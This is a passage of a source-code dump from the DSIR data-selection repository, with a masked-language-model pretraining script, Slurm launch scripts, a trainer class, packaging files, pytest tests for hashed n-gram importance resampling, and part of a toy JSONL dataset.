"--max_ckpts_to_keep", type=int, default=3, help="Number of checkpoints to keep" ) parser.add_argument( "--preprocessing_num_workers", type=int, default=None, help="Number of preprocessors" ) parser.add_argument( "--steps_to_log", type=int, default=None, help="Num steps to log training info" ) parser.add_argument( "--steps_to_eval", type=int, default=None, help="Num steps to evaluate on the dev set" ) parser.add_argument( "--steps_to_save", type=int, default=None, help="Num steps to save the checkpoint" ) parser.add_argument( "--mlm_probability", type=float, default=0.15, help="Probability of masking" ) parser.add_argument( "--adam_beta1", type=float, default=0.9, help="Adam beta 1" ) parser.add_argument( "--adam_beta2", type=float, default=0.999, help="Adam beta 2" ) parser.add_argument( "--adam_eps", type=float, default=1e-8, help="Adam epsilon" ) parser.add_argument( "--max_grad_norm", type=float, default=0.0, help="Max gradient norm" ) parser.add_argument( "--task_name", type=str, default=None, help="The name of the task to train on.", ) parser.add_argument( "--max_length", type=int, default=128, help=( "The maximum total input sequence length after tokenization. Sequences longer than this will be truncated," " sequences shorter will be padded if `--pad_to_max_lengh` is passed." ), ) parser.add_argument( "--pad_to_max_length", action="store_true", help="If passed, pad all samples to `max_length`. Otherwise, dynamic padding is used.", ) parser.add_argument( "--model_name_or_path", type=str, help="Path to pretrained model or model identifier from huggingface.co/models.", ) parser.add_argument( "--config_dir", type=str, help="Path to pretrained model or model identifier from huggingface.co/models.", default=None, ) parser.add_argument( "--per_device_train_batch_size", type=int, default=8, help="Batch size (per device) for the training dataloader.", ) parser.add_argument( "--per_device_eval_batch_size", type=int, default=8, help="Batch size (per device) for the evaluation dataloader.", ) parser.add_argument( "--learning_rate", type=float, default=2e-5, help="Initial learning rate (after the potential warmup period) to use.", ) parser.add_argument("--weight_decay", type=float, default=0.0, help="Weight decay to use.") parser.add_argument("--num_train_epochs", type=int, default=None, help="Total number of training epochs to perform.") parser.add_argument( "--max_train_steps", type=int, default=0, help="Total number of training steps to perform. If provided, overrides num_train_epochs.", ) parser.add_argument( "--gradient_accumulation_steps", type=int, default=1, help="Number of updates steps to accumulate before performing a backward/update pass.", ) parser.add_argument( "--lr_scheduler_type", type=SchedulerType, default="linear", help="The scheduler type to use.", # choices=["linear", "cosine", "cosine_with_restarts", "polynomial", "constant", "constant_with_warmup"], ) parser.add_argument( "--num_warmup_steps", type=float, default=10000, help="Number of steps for the warmup in the lr scheduler." ) parser.add_argument( "--cuda_devices", type=str, default='0', help="visible cuda devices." ) parser.add_argument("--output_dir", type=str, default=None, help="Where to store the final model.") parser.add_argument("--seed", type=int, default=42, help="A seed for reproducible training.") args = parser.parse_args() # Sanity checks if args.task_name is None: raise ValueError("Need a task name.") if args.model_name_or_path is None: assert args.from_scratch, "no model name or path is provided but trying to initialize from a pre-trained weight" if args.output_dir is not None: os.makedirs(args.output_dir, exist_ok=True) with open(os.path.join(args.output_dir, "args"), "w") as f: for arg in vars(args): f.write(f"{arg}: {getattr(args, arg)}\n") return args def get_logger(args, accelerator=None): # Make one log on every process with the configuration for debugging. logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO, ) if accelerator is not None: logger.info(accelerator.state) # Setup logging, we only want one process per machine to log things on the screen. # accelerator.is_local_main_process is only True for one process per machine. if args.output_dir is not None: logfile = os.path.join(args.output_dir, "log") if accelerator is not None and accelerator.is_main_process: if os.path.exists(logfile): os.remove(logfile) os.mknod(logfile) fh = logging.FileHandler(logfile, mode='w') fh.setLevel(logging.INFO) formatter = logging.Formatter("%(asctime)s - %(levelname)s - %(name)s - %(message)s") fh.setFormatter(formatter) logger.addHandler(fh) if accelerator is None: logger.setLevel(logging.INFO) datasets.utils.logging.set_verbosity_error() transformers.utils.logging.set_verbosity_error() else: logger.setLevel(logging.INFO if accelerator.is_main_process else logging.ERROR) if accelerator.is_main_process: datasets.utils.logging.set_verbosity_warning() transformers.utils.logging.set_verbosity_info() else: datasets.utils.logging.set_verbosity_error() transformers.utils.logging.set_verbosity_error() # If passed along, set the training seed now. if args.seed is not None: set_seed(args.seed) return logger def get_dataset(args, preprocessed_cache): data_files = {} data_files["train"] = args.dataset_path extension = Path(args.dataset_path).name.split(".")[-1] if extension == "txt": extension = "text" elif extension == "jsonl": extension = "json" else: extension = "json" raw_datasets = load_dataset(extension, data_files=data_files, cache_dir=f"{args.cache_dir}/cache") return raw_datasets def preprocess(args, raw_datasets, tokenizer, logger, preprocessed_cache): logger.info("preprocessing datasets") if raw_datasets is not None: column_names = raw_datasets["train"].column_names text_column_name = "contents" if "contents" in column_names else column_names[0] else: text_column_name = "contents" padding = "max_length" def tokenize_function(examples): # Remove empty lines examples[text_column_name] = [ line for line in examples[text_column_name] if line is not None and len(line) > 0 and not line.isspace() ] tokenized_examples = tokenizer( examples[text_column_name], padding=padding, truncation=True, max_length=args.max_length, return_special_tokens_mask=True, ) remove_cols = set(column_names) for k in examples: if k not in tokenized_examples and k not in {text_column_name, "rank", "ids", "id"} and k not in remove_cols: tokenized_examples[k] = examples[k][:len(examples[text_column_name])] return tokenized_examples num_cpus = len(os.sched_getaffinity(0)) num_shards = 8 tokenized_datasets_ls = [] for shard_i in range(num_shards): preprocessed_cache.mkdir(exist_ok=True) preprocessed_cache_i = preprocessed_cache / f"shard_{shard_i}" if not preprocessed_cache_i.exists(): raw_datasets_shard = raw_datasets["train"].shard( num_shards=num_shards, index=shard_i).flatten_indices() logger.info(f"Processing shard {shard_i}") tokenized_datasets_i = raw_datasets_shard.map( tokenize_function, batched=True, batch_size=100, num_proc=num_cpus//2, remove_columns=raw_datasets_shard.column_names, desc="Running tokenizer on dataset line_by_line", ) logger.info(f"Saving shard {shard_i} to disk") tokenized_datasets_i.save_to_disk(str(preprocessed_cache_i)) for shard_i in range(num_shards): assert preprocessed_cache_i.exists() tokenized_datasets_i = load_from_disk(str(preprocessed_cache_i)) tokenized_datasets_ls.append(tokenized_datasets_i) tokenized_datasets = concatenate_datasets(tokenized_datasets_ls) return tokenized_datasets, text_column_name def get_model(args, load_model=True): # Load pretrained model and tokenizer # # In distributed training, the .from_pretrained methods guarantee that only one local process can concurrently # download model & vocab. if args.pipeline_step == 'preprocess': load_model = False if args.model_name_or_path and not args.from_scratch: try: tokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path) except Exception: tokenizer = AutoTokenizer.from_pretrained(args.config_dir) if load_model: config = AutoConfig.from_pretrained(args.model_name_or_path) # set_cls = True if not args.from_scratch else False if args.model_name_or_path == 'bert-base-uncased' or args.model_name_or_path == 'bert-large-uncased': model = BertForMaskedLM.from_pretrained( args.model_name_or_path, from_tf=bool(".ckpt" in args.model_name_or_path), config=config, ) else: model = RobertaForMaskedLM.from_pretrained( args.model_name_or_path, from_tf=bool(".ckpt" in args.model_name_or_path), config=config, ) elif args.model_name_or_path and args.from_scratch: config = AutoConfig.from_pretrained(args.model_name_or_path) tokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path) if load_model: if args.model_name_or_path == 'bert-base-uncased' or args.model_name_or_path == 'bert-large-uncased': model = BertForMaskedLM(config) else: model = RobertaForMaskedLM(config) else: config = AutoConfig.from_pretrained(args.config_dir) tokenizer = AutoTokenizer.from_pretrained(args.config_dir) if load_model: if args.model_name_or_path == 'bert-base-uncased' or args.model_name_or_path == 'bert-large-uncased': model = BertForMaskedLM(config) else: model = RobertaForMaskedLM(config) if load_model: model.set_args(args) else: model = None return tokenizer, model def main(): args = parse_args() os.environ['CUDA_VISIBLE_DEVICES'] = args.cuda_devices os.environ['NVIDIA_VISIBLE_DEVICES'] = args.cuda_devices preprocessed_cache = Path(args.dataset_path).parent / 'preprocessed_cache' / f"{args.task_name}_{Path(args.dataset_path).parent.name}_{Path(args.dataset_path).stem}" preprocessed_cache.parent.mkdir(exist_ok=True, parents=True) if args.pipeline_step == 'preprocess': logger = get_logger(args) tokenizer, model = get_model(args, load_model=False) raw_dataset = get_dataset(args, preprocessed_cache) dataset, text_column_name = preprocess(args, raw_dataset, tokenizer, logger, preprocessed_cache) elif args.pipeline_step == 'pretrain': accelerator = Accelerator(fp16=True) args.device = accelerator.device logger = get_logger(args, accelerator) tokenizer, model = get_model(args) if accelerator.is_main_process: wandb.init(project="pretrain", name=f"{args.pipeline_step}_{args.task_name}_{Path(args.output_dir).name}_{args.seed}") raw_dataset = None dataset, text_column_name = preprocess(args, raw_dataset, tokenizer, logger, preprocessed_cache=preprocessed_cache) data_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm_probability=args.mlm_probability) dataloader = DataLoader( dataset, shuffle=True, collate_fn=data_collator, batch_size=args.per_device_train_batch_size, num_workers=0 ) # Optimizer # Split weights in two groups, one with weight decay and the other not. no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": args.weight_decay, }, { "params": [p for n, p in model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0, }, ] optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, betas=(args.adam_beta1, args.adam_beta2), eps=args.adam_eps) # Prepare everything with `accelerator`. model, optimizer, dataloader = accelerator.prepare( model, optimizer, dataloader ) num_update_steps_per_epoch = math.ceil(len(dataloader) / args.gradient_accumulation_steps) if args.max_train_steps is None or args.max_train_steps == 0: args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch else: args.num_train_epochs = math.ceil(args.max_train_steps / num_update_steps_per_epoch) lr_scheduler = get_scheduler( name=args.lr_scheduler_type, optimizer=optimizer, num_warmup_steps=int(args.num_warmup_steps), num_training_steps=args.max_train_steps, ) trainer = PretrainTrainer( args=args, model=model, optimizer=optimizer, lr_scheduler=lr_scheduler, dataloader=dataloader, logger=logger, accelerator=accelerator, from_checkpoint=args.from_ckpt, tokenizer=tokenizer, max_grad_norm=args.max_grad_norm, ) trainer.train() if __name__ == "__main__": main() ================================================ FILE: experimental/train/run_pretrain_pipeline_general.sh ================================================ #!/bin/bash set -x source config.sh TASK=$1 SUFFIX=$2 PORT=$3 PRETRAIN_DATA_PATH=$4 DO_PREPROCESS=${5:-"true"} DO_PRETRAIN=${6:-"true"} OTHER_ARGS=${7:-""} LR=${8:-"5e-4"} LOGDIR=logs/train mkdir -p ${LOGDIR} dependency="" if [[ "${DO_PREPROCESS}" = "true" ]]; then jid=$(sbatch \ --parsable \ --mem=128g \ ${cluster_info} \ -c 8 \ --output ${LOGDIR}/${TASK}_preprocess_${SUFFIX}.log \ train/preprocess_general.sh ${TASK} ${PRETRAIN_DATA_PATH} ${CACHE} "${OTHER_ARGS}") echo -n "${jid} " dependency="--dependency afterok:${jid}" fi # pretrain if [[ "${DO_PRETRAIN}" = "true" ]]; then # --mem=96g \ jid=$(sbatch \ --parsable \ ${dependency} \ ${cluster_info} \ --gres=gpu:4 \ -c 8 \ --mem=64g \ -t 14-0:00 \ --output ${LOGDIR}/${TASK}_pretrain_${SUFFIX}.log \ train/pretrain_general.sh ${TASK} ${PRETRAIN_DATA_PATH} "0,1,2,3" 4 ${TASK}_${SUFFIX} ${PORT} ${PRETRAIN_OUTPUT_DIR} ${CACHE} "${OTHER_ARGS}" ${LR}) echo -n "${jid} " dependency="--dependency afterok:${jid}" else dependency="" fi ================================================ FILE: experimental/train/run_slurm.sh ================================================ # Train general-domain model from scratch # We first try learning rate 1e-3, then lower to 8e-4 if the loss diverges bash train/run_pretrain_pipeline_general.sh \ wiki_and_books \ dsir_scratch \ 60200 \ /path/to/data.jsonl \ "true" "true" "--from_scratch --adam_beta1 0.9 --adam_beta2 0.98 --adam_eps 1e-6 --max_grad_norm 1.0" 8e-4 ================================================ FILE: experimental/train/trainer.py ================================================ import os import shutil import json import torch import math import numpy as np from tqdm import tqdm import wandb from pathlib import Path class PretrainTrainer: def __init__(self, args, model, optimizer, lr_scheduler, dataloader, logger, accelerator, tokenizer, max_grad_norm=0.0, from_checkpoint=None, ): self.args = args self.model = model self.optimizer = optimizer self.lr_scheduler = lr_scheduler self.dataloader = dataloader self.logger = logger self.completed_steps = 0 self.accelerator = accelerator self.tokenizer = tokenizer self.max_grad_norm = max_grad_norm self._iter = iter(dataloader) self.from_checkpoint = from_checkpoint def _move_to_device(self, batch): for k in batch: batch[k] = batch[k].to(self.args.device) return batch def _save_model(self, save_path=None): if save_path is None: save_path = self.args.output_dir if self.accelerator.is_main_process: unwrapped_model = self.accelerator.unwrap_model(self.model) unwrapped_model.save_pretrained(save_path, save_function=self.accelerator.save) def _save_trained(self, save_path=None): if save_path is None: save_path = self.args.output_dir Path(save_path).mkdir(parents=True, exist_ok=True) torch.save(self.optimizer.state_dict(), os.path.join(save_path, "optimizer.pt")) torch.save(self.lr_scheduler.state_dict(), os.path.join(save_path, "scheduler.pt")) trainer_state = { "completed_steps": self.completed_steps, "best_metric": 0.0, "test_results": 0.0, } if self.accelerator.is_main_process: with open(os.path.join(save_path, "trainer_state.json"), "w") as f: json.dump(trainer_state, f) self._save_model(save_path=save_path) def evaluate(self): pass def _get_batch(self): try: batch = next(self._iter) except StopIteration: self._iter = iter(self.dataloader) batch = next(self._iter) batch = self._move_to_device(batch) if 'rank' in batch: batch.pop('rank') return batch def compute_loss(self): self.model.train() batch = self._get_batch() outputs = self.model(**batch) loss = outputs.loss loss = loss / self.args.gradient_accumulation_steps self.accelerator.backward(loss) return loss.item() def _prepare_from_checkpoint(self): if self.from_checkpoint is None: return state_file = os.path.join(self.from_checkpoint, "trainer_state.json") optim_file = os.path.join(self.from_checkpoint, "optimizer.pt") sched_file = os.path.join(self.from_checkpoint, "scheduler.pt") if os.path.exists(sched_file): sched_state = torch.load(sched_file) self.lr_scheduler.load_state_dict(sched_state) if not os.path.exists(state_file): return with open(state_file, "r") as f: state = json.load(f) self.pre_completed_steps = state["completed_steps"] self.best_metric = state["best_metric"] self.logger.info(f"pretrained steps: {self.pre_completed_steps}, best dev metric {self.best_metric}") self.accelerator.wait_for_everyone() def update(self, tr_loss, loss_step): if self.completed_steps % self.args.steps_to_log == 0: self.logger.info( "step {}, learning rate {}, average loss {}".format( self.completed_steps, self.optimizer.param_groups[0]["lr"], tr_loss / loss_step ) ) if self.accelerator.is_main_process: wandb.log({'step': self.completed_steps, 'loss': tr_loss / loss_step, 'lr': self.optimizer.param_groups[0]["lr"]}) tr_loss = 0.0 loss_step = 0 if self.completed_steps % self.args.steps_to_eval == 0: self.evaluate() if self.completed_steps % self.args.steps_to_save == 0: self.accelerator.wait_for_everyone() if self.accelerator.is_main_process: self._save_trained( save_path = os.path.join(self.args.output_dir, 'checkpoint-{}'.format(self.completed_steps)) ) # delete outdated checkpoints for files in os.listdir(self.args.output_dir): file_name = os.path.join(self.args.output_dir, files) if os.path.isdir(file_name) and files.startswith('checkpoint-'): checked_step = int(files[11:]) if self.completed_steps - checked_step >= self.args.max_ckpts_to_keep * self.args.steps_to_save: if self.accelerator.is_main_process: shutil.rmtree(file_name) def train(self): total_batch_size = self.args.per_device_train_batch_size * self.args.gradient_accumulation_steps * self.accelerator.num_processes self.logger.info("***** Running training *****") self.logger.info(f" Num examples = {len(self.dataloader.dataset)}") self.logger.info(f" Num Epochs = {self.args.num_train_epochs}") self.logger.info(f" Instantaneous batch size per device = {self.args.per_device_train_batch_size}") self.logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_batch_size}") self.logger.info(f" Gradient Accumulation steps = {self.args.gradient_accumulation_steps}") self.logger.info(f" Total optimization steps = {self.args.max_train_steps}") # Only show the progress bar once on each machine. progress_bar = tqdm(range(self.args.max_train_steps)) self.completed_steps = 0 self.pre_completed_steps = 0 self._prepare_from_checkpoint() tr_loss = 0.0 loss_step = 0 for step in range(self.args.max_train_steps * self.args.gradient_accumulation_steps): if self.completed_steps < self.pre_completed_steps: self._get_batch() if step % self.args.gradient_accumulation_steps == 0: self.completed_steps += 1 progress_bar.update(1) continue if step % self.args.gradient_accumulation_steps == 0: tr_loss += self.compute_loss() loss_step += 1 if self.max_grad_norm > 0: self.accelerator.clip_grad_norm_( self.model.parameters(), self.max_grad_norm) self.optimizer.step() self.lr_scheduler.step() self.optimizer.zero_grad() progress_bar.update(1) self.completed_steps += 1 self.update(tr_loss, loss_step) tr_loss = 0.0 loss_step = 0 else: with self.accelerator.no_sync(self.model): tr_loss += self.compute_loss() loss_step += 1 self.evaluate() self._save_trained( save_path = os.path.join(self.args.output_dir, 'final') ) ================================================ FILE: pyproject.toml ================================================ [build-system] requires = ["setuptools>=61.0.0", "wheel"] build-backend = "setuptools.build_meta" [project] name = "data-selection" version = "1.0.3" authors = [ { name="Sang Michael Xie", email="xie@cs.stanford.edu" }, ] description = "Data Selection with Importance Resampling" readme = "README.md" requires-python = ">=3.6" classifiers = [ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ] license = { file = "LICENSE" } keywords = ["data selection", "importance resampling", "dsir", "nlp", "language models"] dependencies = [ 'numpy>=1.21.6', 'tqdm>=4.62.3', 'joblib>=1.1.0', 'nltk>=3.8.1', ] [project.optional-dependencies] dev = ["pytest"] [project.urls] "Homepage" = "https://github.com/p-lambda/dsir" ================================================ FILE: setup.py ================================================ from setuptools import setup, find_packages from pathlib import Path if __name__ == "__main__": # parse version from pyproject.toml curr_dir = Path(__file__).parent with open(curr_dir / 'pyproject.toml', 'r') as f: for line in f: if line.startswith('version'): version = line.split('=')[1].strip().strip('"') break setup(name='data-selection', version=version, description='Data Selection with Importance Resampling', url='https://github.com/p-lambda/dsir', author='Sang Michael Xie', author_email='xie@cs.stanford.edu', packages=['data_selection'], install_requires=[ 'numpy>=1.21.6', 'tqdm>=4.62.3', 'joblib>=1.1.0', 'nltk>=3.8.1', ] ) ================================================ FILE: tests/test_hashed_ngram.py ================================================ import pytest from pathlib import Path import numpy as np import json import shutil from data_selection.hashed_ngram_dsir import HashedNgramDSIR, hash_buckets, get_ngram_counts toy_dataset = Path(__file__).parent / "toy_pile_data.jsonl" raw_datasets = [str(toy_dataset)] * 2 target_datasets = [str(Path(__file__).parent / "toy_target_data.jsonl")] separated_target_datasets = [str(Path(__file__).parent / "toy_target_data.jsonl"), str(Path(__file__).parent / "toy_target_data_2.jsonl")] def parse_example_fn(ex): return ex['contents'] @pytest.fixture def dsir_obj(): dsir = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir='/tmp/dsir_params', raw_parse_example_fn=parse_example_fn, target_parse_example_fn=parse_example_fn, num_proc=2, ngrams=2, num_buckets=10000) yield dsir if Path('/tmp/dsir_params').exists(): shutil.rmtree('/tmp/dsir_params') @pytest.fixture def dsir_obj_diffparams(): dsir = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir='/tmp/dsir_params', raw_parse_example_fn=parse_example_fn, target_parse_example_fn=parse_example_fn, num_proc=2, ngrams=3, num_buckets=50000) yield dsir if Path('/tmp/dsir_params').exists(): shutil.rmtree('/tmp/dsir_params') @pytest.fixture def dsir_obj_septarget(): dsir = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=separated_target_datasets, cache_dir='/tmp/dsir_params', raw_parse_example_fn=parse_example_fn, target_parse_example_fn=parse_example_fn, num_proc=2, ngrams=2, num_buckets=10000, separate_targets=True, target_proportions=[0.5, 0.5]) yield dsir if Path('/tmp/dsir_params').exists(): shutil.rmtree('/tmp/dsir_params') def test_hash_buckets(): bucket = hash_buckets('alice') bucket_2 = hash_buckets('alice went') assert bucket == 6720 assert bucket_2 == 114 def test_get_ngram_counts(): line = 'Alice went to the store' counts = get_ngram_counts(line, n=2, num_buckets=10000) assert counts.shape == (10000,) assert counts.sum() == 9 bucket = hash_buckets('alice') bucket_2 = hash_buckets('alice went') assert counts[bucket] > 0 assert counts[bucket_2] > 0 def test_virtual_shards(dsir_obj): assert len(dsir_obj._get_virtually_sharded_datasets(raw_datasets)) == 2 def test_length_metadata(dsir_obj): text = "Alice walked into the store\n\n()()($#%@?)@(#(*" length = len(dsir_obj.tokenizer(text)) feats = dsir_obj.featurizer(text) assert length == dsir_obj.get_perexample_metadata(ex=None, features=feats) def test_fit(dsir_obj): dsir_obj.fit_importance_estimator(num_tokens_to_fit='all') assert dsir_obj.raw_probs is not None assert dsir_obj.raw_probs.shape == (10000,) assert dsir_obj.raw_probs.sum() == 1.0 assert dsir_obj.target_probs is not None assert dsir_obj.target_probs.shape == (10000,) assert dsir_obj.target_probs.sum() == 1.0 assert dsir_obj.log_diff is not None assert dsir_obj.log_diff.shape == (10000,) assert np.allclose(dsir_obj.log_diff, np.log(dsir_obj.target_probs + 1e-8) - np.log(dsir_obj.raw_probs + 1e-8)) dsir_obj.fit_importance_estimator(num_tokens_to_fit='auto') assert dsir_obj.raw_probs is not None assert dsir_obj.raw_probs.shape == (10000,) assert dsir_obj.raw_probs.sum() == 1.0 assert dsir_obj.target_probs is not None assert dsir_obj.target_probs.shape == (10000,) assert dsir_obj.target_probs.sum() == 1.0 assert dsir_obj.log_diff is not None assert dsir_obj.log_diff.shape == (10000,) assert np.allclose(dsir_obj.log_diff, np.log(dsir_obj.target_probs + 1e-8) - np.log(dsir_obj.raw_probs + 1e-8)) dsir_obj.fit_importance_estimator(num_tokens_to_fit=100000) assert dsir_obj.raw_probs is not None assert dsir_obj.raw_probs.shape == (10000,) assert dsir_obj.raw_probs.sum() == 1.0 assert dsir_obj.target_probs is not None assert dsir_obj.target_probs.shape == (10000,) assert dsir_obj.target_probs.sum() == 1.0 assert dsir_obj.log_diff is not None assert dsir_obj.log_diff.shape == (10000,) assert np.allclose(dsir_obj.log_diff, np.log(dsir_obj.target_probs + 1e-8) - np.log(dsir_obj.raw_probs + 1e-8)) def test_compute(dsir_obj): dsir_obj.fit_importance_estimator() dsir_obj.compute_importance_weights() log_importance_weights = [ np.load(dsir_obj.log_importance_weights_dir / f"{i}.npy") for i in range(2)] assert len(log_importance_weights) == len(raw_datasets) assert log_importance_weights[0].shape == (1000,) def test_resample(dsir_obj): dsir_obj.fit_importance_estimator() dsir_obj.compute_importance_weights() dsir_obj.resample(out_dir='/tmp/resampled', num_to_sample=2, cache_dir='/tmp/resampled_cache') assert Path('/tmp/resampled').exists() assert not Path('/tmp/resampled_cache').exists() all_lines = [] for i in range(dsir_obj.num_proc): with open(f'/tmp/resampled/{i}.jsonl', 'r') as f: lines = f.readlines() all_lines += lines assert len(all_lines) == 2 for line in all_lines: ex = json.loads(line) assert ex['id'] == 0 length = len(dsir_obj.tokenizer(dsir_obj.raw_parse_example_fn(ex))) assert length >= dsir_obj.min_example_length shutil.rmtree('/tmp/resampled') if Path('/tmp/resampled_cache').exists(): shutil.rmtree('/tmp/resampled_cache') def test_resample_diffparams(dsir_obj_diffparams): dsir_obj = dsir_obj_diffparams dsir_obj.fit_importance_estimator() dsir_obj.compute_importance_weights() dsir_obj.resample(out_dir='/tmp/resampled', num_to_sample=2, cache_dir='/tmp/resampled_cache') assert Path('/tmp/resampled').exists() assert not Path('/tmp/resampled_cache').exists() all_lines = [] for i in range(dsir_obj.num_proc): with open(f'/tmp/resampled/{i}.jsonl', 'r') as f: lines = f.readlines() all_lines += lines assert len(all_lines) == 2 for line in all_lines: ex = json.loads(line) assert ex['id'] == 0 length = len(dsir_obj.tokenizer(dsir_obj.raw_parse_example_fn(ex))) assert length >= dsir_obj.min_example_length shutil.rmtree('/tmp/resampled') if Path('/tmp/resampled_cache').exists(): shutil.rmtree('/tmp/resampled_cache') def test_resample_septarget(dsir_obj_septarget): dsir_obj = dsir_obj_septarget dsir_obj.fit_importance_estimator() dsir_obj.compute_importance_weights() dsir_obj.resample(out_dir='/tmp/resampled', num_to_sample=2, cache_dir='/tmp/resampled_cache') assert Path('/tmp/resampled').exists() assert not Path('/tmp/resampled_cache').exists() assert np.allclose(dsir_obj.target_proportions - 0.5, 0.0) all_lines = [] for i in range(dsir_obj.num_proc): with open(f'/tmp/resampled/{i}.jsonl', 'r') as f: lines = f.readlines() all_lines += lines assert len(all_lines) == 2 all_ids = [] for line in all_lines: ex = json.loads(line) all_ids.append(ex['id']) length = len(dsir_obj.tokenizer(dsir_obj.raw_parse_example_fn(ex))) assert length >= dsir_obj.min_example_length assert len(set(all_ids)) == 2 assert min(all_ids) == 0 assert max(all_ids) == 2 shutil.rmtree('/tmp/resampled') if Path('/tmp/resampled_cache').exists(): shutil.rmtree('/tmp/resampled_cache') def test_resample_virtual_sharding(): dsir_obj = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir='/tmp/dsir_params', raw_parse_example_fn=parse_example_fn, target_parse_example_fn=parse_example_fn, num_proc=15, ngrams=2, num_buckets=10000) assert len(dsir_obj._get_virtually_sharded_datasets(raw_datasets)) == 15 dsir_obj.fit_importance_estimator() dsir_obj.compute_importance_weights() dsir_obj.resample(out_dir='/tmp/resampled_virtual', num_to_sample=2, cache_dir='/tmp/resampled_cache_virtual') assert Path('/tmp/resampled_virtual').exists() assert not Path('/tmp/resampled_cache_virtual').exists() all_lines = [] for i in range(15): with open(f'/tmp/resampled_virtual/{i}.jsonl', 'r') as f: lines = f.readlines() all_lines += lines assert len(all_lines) == 2 for line in all_lines: ex = json.loads(line) assert ex['id'] == 0 length = len(dsir_obj.tokenizer(dsir_obj.raw_parse_example_fn(ex))) assert length >= dsir_obj.min_example_length shutil.rmtree('/tmp/resampled_virtual') if Path('/tmp/resampled_virtual').exists(): shutil.rmtree('/tmp/resampled_virtual') def test_smoothing(dsir_obj): dsir_obj.fit_importance_estimator() target_probs_1 = dsir_obj.target_probs smoothing_param = 1.0 dsir_obj_2 = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir='/tmp/dsir_params_2', raw_parse_example_fn=parse_example_fn, target_parse_example_fn=parse_example_fn, num_proc=2, ngrams=2, num_buckets=10000, target_laplace_smoothing=smoothing_param) dsir_obj_2.fit_importance_estimator() target_probs_2 = dsir_obj_2.target_probs total_counts = None with open(target_datasets[0], 'r') as f: for line in f: ex = json.loads(line) text = parse_example_fn(ex) counts = get_ngram_counts(text, n=2, num_buckets=10000) if total_counts is None: total_counts = counts else: total_counts += counts total_tokens = total_counts.sum() assert np.allclose(total_counts / total_tokens, target_probs_1) assert np.allclose((target_probs_1 * total_tokens + smoothing_param) / (total_tokens + smoothing_param * len(target_probs_1)), target_probs_2) if Path('/tmp/dsir_params').exists(): shutil.rmtree('/tmp/dsir_params_2') def test_save_load(dsir_obj): dsir_obj.fit_importance_estimator() dsir_obj.compute_importance_weights() dsir_obj.save('/tmp/dsir.pkl') dsir_obj_2 = HashedNgramDSIR([], [], '/tmp/cache') dsir_obj_2.load('/tmp/dsir.pkl', exclude_keys=['raw_datasets', 'target_datasets', 'cache_dir']) assert np.allclose(dsir_obj_2.raw_probs, dsir_obj.raw_probs) assert np.allclose(dsir_obj_2.target_probs, dsir_obj.target_probs) assert np.allclose(dsir_obj_2.log_diff, dsir_obj.log_diff) assert dsir_obj_2.num_buckets == dsir_obj.num_buckets assert dsir_obj_2.ngrams == dsir_obj.ngrams dsir_obj_2 = HashedNgramDSIR([], [], '/tmp/cache') dsir_obj_2.load('/tmp/dsir.pkl') assert np.allclose(dsir_obj_2.raw_probs, dsir_obj.raw_probs) assert np.allclose(dsir_obj_2.target_probs, dsir_obj.target_probs) assert np.allclose(dsir_obj_2.log_diff, dsir_obj.log_diff) assert dsir_obj.cache_dir == dsir_obj_2.cache_dir assert dsir_obj_2.raw_datasets == dsir_obj.raw_datasets assert dsir_obj_2.target_datasets == dsir_obj.target_datasets assert dsir_obj_2.num_buckets == dsir_obj.num_buckets assert dsir_obj_2.ngrams == dsir_obj.ngrams ================================================ FILE: tests/test_utils.py ================================================ from data_selection import utils def job(arg): return arg + 1 def test_parallelize(): results = utils.parallelize(job, [1, 2, 3, 4, 5], num_proc=2) assert sum(results) == sum([2, 3, 4, 5, 6]) ================================================ FILE: tests/toy_pile_data.jsonl ================================================ {"contents":"\/*\n * Copyright (c) 2015 Kaprica Security, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES","metadata":{"pile_set_name":"Github"},"id":0} {"contents":"OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n *\/\n#include \"cgc_malloc_private.h\"\n\nvoid *cgc_malloc(cgc_size_t n)\n{\n return cgc_malloc_alloc(&g_heap, n);\n}\n","metadata":{"pile_set_name":"Github"},"id":1} {"contents":"New Grub Street\n\nNew Grub Street is a novel by George Gissing published in 1891, which is set in the literary and journalistic circles of 1880s London. Gissing revised and shortened the novel for a French edition of 1901.\n\nPlot\nThe story deals with the literary world that Gissing himself had experienced. Its title refers to the London street, Grub Street, which in the 18th century became synonymous with hack literature; by Gissing's time, Grub Street itself no longer existed, though hack-writing certainly did. Its two central characters are a sharply contrasted pair of writers: Edwin Reardon, a novelist 